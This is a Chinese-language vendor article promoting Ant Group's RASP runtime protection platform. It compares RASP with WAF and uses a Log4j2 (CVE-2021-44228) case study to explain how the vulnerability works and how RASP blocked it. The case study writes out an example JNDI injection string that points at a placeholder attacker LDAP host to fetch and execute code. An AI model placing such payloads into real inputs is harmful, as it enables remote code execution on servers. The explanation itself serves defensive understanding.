一文读懂RASP运行时防护平台及应用实践

简介: 本文将着重介绍针对「应用上线后安全防护」场景的软件供应链安全产品——RASP 运行时防护平台。

「云原生安全既是一种全新安全理念,也是实现云战略的前提。
基于蚂蚁集团内部多年实践,云原生PaaS平台SOFAStack发布完整的软件供应链安全产品及解决方案,包括静态代码扫描Pinpoint,软件成分分析SCA,交互式安全测试IAST,运行时防护RASP,安全洞察Appinsight等,帮助企业客户应用软件实现『发布前检测,运行时免疫』。
本周,我们将持续分享解读四大产品。」

昨天,我们解析了应用「运行时漏洞发现」场景的软件供应链安全产品——交互式安全测试 IAST ,本文将着重介绍针对「应用上线后安全防护」场景的软件供应链安全产品——RASP 运行时防护平台。

应用安全的防护手段

在应用上线前的安全测试工具包含静态代码安全扫描产品 Pinpoint、软件成分分析 SCA 和交互式安全测试 IAST 等,已基本能保障「上线即安全」,但面临外部持续性侵入或恶意攻击,应用在上线后也会设立重重防线保护应用和数据资产。

据 Imperva 公司表示,50% 的数据泄露始于 Web 应用程序。如今在应用上线后的防御产品中最广泛流行的是 WAF,但 WAF 本身的一些局限性(高误报率、低时效性、极易被绕过等)导致应用仍被恶意攻击,这就迫切需要新的应用防护手段加强应用安全。

因此,应用运行时自我保护技术 RASP(Runt ime Applicat ion Self -Prot ect ion)近几年来备受关注,它是一种将防护能力内置或链接至应用程序内部或其运行时环境中的安全技术,该技术由 Gartner 在 2012 年首次提出。RASP与WAF的本质区别:以服务器端请求伪造漏洞 SSRF 为例,对于明文或编码处理过的请求,WAF 都无法发现,攻击者都会拿到结果;而 RASP 是以应用内部行为作为感知视角,无论外部用什么形式输入,最终要生效都会生成一些特定的执行函数,防御仅需要在关键函数入口处把守即可。
1.png

WAF识别


2.png

RASP识别

因此,业界一般将 WAF 称为边界防御产品,将 RASP 技术称之为「疫苗技术」,RASP 可以提高应用本身的「免疫力」。

蚂蚁RASP产品能力

蚂蚁 RASP 是一款利用应用运行时自我保护技术来发现威胁攻击行为的安全产品。该产品基于蚂蚁自研通用注入底座平台技术,能够根据 Web 相关漏洞特性将检测策略直接注入到被保护应用的服务中,以提供函数级别的实时保护能力。RASP 还能够根据应用程序调用栈的相似性来防御 0day 漏洞,从而有效规避 Web 应用安全风险、发现应用潜在漏洞,并实现应用安全水位的有效提升。
3.png

RASP产品价值:

  • 作用于应用运行时,具备数据级安全检测能力,拦截更精准,无需担忧误报。
  • 与应用业务系统强关联但解耦,实现融合式防护,作为一个「守护神」时刻紧密保护业务安全。
  • 联合 WAF,但不取代 WAF,可与边界防御产品共同保护 Web 应用安全。
  • 加固应用自身安全,使应用程序自身具备防护能力而非依赖外界安全产品

RASP产品优势:

  • 丰富的安全防护能力。OWASP 是开放式 Web 应用程序安全项目组织,该组织 2023 年更新「十大安全漏洞列表」(OWASP TOP10),涵盖了Web 应用程序最可能、最常见、最危险的十大漏洞,可帮助公司规范应用程序开发及测试流程,提高 Web 产品的安全性。蚂蚁 RASP 支持检测 JNDI 注入、FastJSON 漏洞、命令执行、反序列化、SSRF 等数十种攻击类型,覆盖 OWASP TOP10。此外,蚂蚁 RASP 还具备检测反绕过 RASP 的技术能力。
  • 不影响网络架构,对业务性能影响较低。蚂蚁 RASP 采用自研的切面注入技术,在研发测试阶段将 Agent 探针注入到应用运行时环境中,无需业务参与即可进行热补丁修复,可在业务无感知的情况下提高安全水位,不仅完全与业务解耦,而且对应用代码的性能影响较低。经内部压测,对业务启动耗时影响 <0.5s ,对业务运行时耗时影响 <0.001s、对 CPU 占用影响 <3.4%。
  • 毫秒级响应,高精准自动拦截。蚂蚁RASP利用轻量的探针安装包堆砌「围墙」,在不采集任何业务数据和不影响应用程序代码和架构的基础上,通过分析应用的上下文信息来检测每一段请求代码,并获得代码可见性,实现对应用服务器下所有 Java 应用的实时防护。
  • 高可读已操作,降低对安全人员的要求。将复杂、专业的函数级策略配置简单化,将策略以防护能力 Jar 包的方式导入平台,清晰易懂;将晦涩难懂的攻击数据直观化、可视化,使得安全防护更简单、更有效,降低对安全专业人员的要求。
  • 联动防护,加固应用安全。蚂蚁 RASP 可结合 Pinpoint/SAST、SCA、IAST 等安全测试产品实现 DevSecOps 安全解决方案,也可对接 WAF、蜜罐、SOC 等平台实现应用上线后的纵深防御。
    4.png

案例分析

以拦截实时级漏洞 Log4j 为例:

  • 漏洞简介
    Apache Log4j2 是一款开源的 Java 日志记录工具,全球大厂几乎都在使用,影响面极广。

2021年 12 月 10 日,Apache Log4j2 爆出远程代码执行漏洞(CNVD-2021-95914、CVE-2021-44228),影响范围:Apache Log4j 2.x < 2.15.0-rc2 ,称为计算机史上核弹级漏洞,黑客可利用该漏洞构造恶意请求,从而实现在目标服务器上执行任意代码。

  • 问题说明
    lookup 机制提供了一种在任意位置向 Log4j2 配置添加值的方法,是实现 StrLookup 接口的特殊类型插件,可以使用简单表达式记录动态内容,例如:logger.info("system propety: ${sys:user.dir}")。Log4j2 中的 JNDI 解析器是本次漏洞的源头,JNDI 解析器通过 JDK 获取 JNDI 对象,并使用这个 JNDI 对象替换原有文本进行打印。JNDI 解析器常用的 Shema 是 ldap,例如
    jndi:ldap://xxx.xxx.xxx/Exploit,通过 JDK 在攻击者指定的路径中下载一段字节流,并将其反序列化为 Java 对象然后作为 JNDI 对象返回,同时在反序列化过程中会执行字节流中包含的程序。

因此,攻击者一旦能够控制日志打印的内容,即可使目标服务器从攻击者指定的任意地址下载代码字节流,然后攻击者在字节流中附带的代码就会在目标服务器上执行。
5.png

  • RASP防御方案与效果
    针对于利用 Log4j2 漏洞执行的恶意操作,如:访问控制失效、用户可任意删除/读取/列出/写入 等,RASP 通过检测文件访问路径是否来自用户输入、是否有路径穿越、是否是敏感路径等来判断拦截与否,达到应急止血、高效拦截的效果。
    6.png

当时在实际拦截中,RASP具体作用如下:

  • 48 小时完成 93% 高危应用生产环境止血
  • 蚂蚁内部 91.5% 的应用靠 RASP 应急修复

未来展望

目前,蚂蚁 RASP 运行时防护平台已被广泛应用于金融、运营商、制造、互联网等各个行业,并经过实践证明能够有效拦截 0Day 攻击。未来,我们将继续提升 RASP 的防御规则,扩大部署规模,并积极探索与 WAF、蜜罐等安全产品的深度融合,以协助企业实现应用安全治理。同时,我们也将加强 RASP 与其他安全产品的联动,如态势感知、入侵检测等,以实现更全面的安全防护。我们相信,通过不断的技术创新和合作,RASP 将成为企业应用安全治理的重要工具,为企业的数字化转型保驾护航。

相关文章
|
SQL 安全 网络安全
与WAF的“相爱相杀”的RASP
WAF(Web Application Firewall)和新兴的RASP(Runtime Application Self-Protection)都是保护Web应用安全的工具。WAF专注于HTTP流量分析,防止恶意行为,但易受误报困扰,可被加密和混淆流量绕过,且难以防御0day漏洞。RASP则通过应用内部监控减少误报和漏报,能防御加密流量,但对宏观流量监控不足,可能影响性能和兼容性。RASP并非要替代WAF,两者结合使用,WAF提供流量预警和防御大流量攻击,RASP则擅长拦截混淆流量和优化业务场景,共同增强应用安全防护。
|
12月前
|
人工智能 数据可视化 机器人
【通义灵码】三句话生成P5.js粒子特效代码,人人都可以做交互式数字艺术
我发掘出的通义灵码AI程序员新玩法:三句话生成P5.js粒子特效代码,人人都可以做交互式数字艺术
439 6
|
存储 弹性计算 运维
阿里云云原生NDR发布:全流量防御能力升级
阿里云发布云原生NDR,提供全流量威胁检测与响应能力。该产品无需部署,支持一键接入、自动留存攻击报文,并具备多引擎关联分析、资产风险管理等功能,有效提升高级威胁应对能力。典型客户案例显示,NDR在重保防护、敏感数据泄露和日志合规等场景中表现出色。总结来看,NDR强调原生化、性价比和强检测,帮助用户简化安全运营并降低成本。
339 11
|
存储 持续交付 虚拟化
|
Java 测试技术 数据库
基于SpringBoot+HTML实现登录注册功能模块
基于SpringBoot+HTML实现登录注册功能模块
|
Java Maven Spring
springboot学习一:idea社区版本创建springboot项目的三种方式(第三种为主)
这篇文章介绍了在IntelliJ IDEA社区版中创建Spring Boot项目的三种方法,特别强调了第三种方法的详细步骤。
13047 0
springboot学习一:idea社区版本创建springboot项目的三种方式(第三种为主)
|
小程序 编译器 数据安全/隐私保护
小白保姆级教程:微信公众号开发,从0到1
【8月更文挑战第8天】小白保姆级教程:微信公众号开发,从0到1
4233 3
小白保姆级教程:微信公众号开发,从0到1
|
存储 安全 JavaScript
XSS跨站脚本攻击详解(包括攻击方式和防御方式)
这篇文章详细解释了XSS跨站脚本攻击的概念、原理、特点、类型,并提供了攻击方式和防御方法。
6567 2
|
消息中间件 存储 Apache
MQ产品使用合集之有RocketMQ arm架构的镜像吗
消息队列(MQ)是一种用于异步通信和解耦的应用程序间消息传递的服务,广泛应用于分布式系统中。针对不同的MQ产品,如阿里云的RocketMQ、RabbitMQ等,它们在实现上述场景时可能会有不同的特性和优势,比如RocketMQ强调高吞吐量、低延迟和高可用性,适合大规模分布式系统;而RabbitMQ则以其灵活的路由规则和丰富的协议支持受到青睐。下面是一些常见的消息队列MQ产品的使用场景合集,这些场景涵盖了多种行业和业务需求。
705 1
|
监控 Java 调度
若依修改定时任务,定时任务在系统监控的定时任务当中,宕机情况都不会去管,涉及到定时任务
若依修改定时任务,定时任务在系统监控的定时任务当中,宕机情况都不会去管,涉及到定时任务